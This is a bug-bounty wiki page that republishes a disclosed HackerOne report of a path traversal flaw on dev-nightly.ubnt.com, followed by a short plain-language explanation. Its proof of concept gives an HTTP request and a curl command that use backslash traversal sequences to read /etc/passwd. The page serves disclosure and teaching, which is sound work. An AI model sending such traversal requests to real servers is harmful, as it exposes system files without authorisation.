Skip to content
Path traversal Disclosed report Beginner

[dev-nightly.ubnt.com] Local File Reading

The web server allowed reading files outside the web root via path traversal using backslash sequences. An attacker could read sensitive system files such as the password file.

bobrov Follow

Originally disclosed on HackerOne

  • Disclosed after 30 days

Summary by the researcher

¯\_(ツ)_/¯

The report

Description Reading files outside the web root via path traversal

PoC

HTTP
GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1
Host: dev-nightly.ubnt.com
curl "https://dev-nightly.ubnt.com/..\..\..\etc\passwd"

Result

Screenshot_at_20-47-03.png
Screenshot_at_20-47-03.png From the original on HackerOne

The original report as published on HackerOne, by bobrov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

None

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A path traversal bug lets someone trick a web server into reading files it should not, by using special characters like backslashes to climb out of the folder it is supposed to serve. Here, the server accepted a request with many backslashes and then returned a system file, so an attacker could see private data.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bobrov

View all

39 more disclosed reports, best first.

More from Ubiquiti Inc.

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.